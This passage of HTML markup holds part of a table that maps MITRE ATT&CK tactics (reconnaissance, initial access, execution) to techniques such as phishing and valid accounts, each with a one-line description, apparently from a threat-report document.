class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1531962011" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{82}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1589 Gather Victim Identity Information</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="582302282" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{89}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may gather information about the victim&apos;s identity that can be used during targeting.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="6" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1151261220" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{97}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Initial Access (</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">TA0001</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">)</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="488860761" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{108}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1566 Phishing</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1929404654" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{115}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may send phishing messages to gain access to victim systems.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="7" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1510933041" paraeid="{eb249db9-48db-4ad0-b38b-2f9a75de6467}{235}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="49003383" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{124}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1190 Exploit Public-Facing Application</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="679704694" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{131}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may exploit </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">a vulnerability</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to gain access to a target system.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="8" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="104737534" paraeid="{eb249db9-48db-4ad0-b38b-2f9a75de6467}{238}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="399255020" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{140}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">&#xA0;</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1078 Valid Accounts</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="232229205" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{149}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use compromised credentials to access valid accounts during their attack.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="9" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1996033239" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{157}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Execution (TA0002)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1265533139" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{164}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1204.001 User Execution: Malicious Link</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1766919698" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{171}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">An adversary may rely upon a user </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">clicking</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> a malicious link </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; 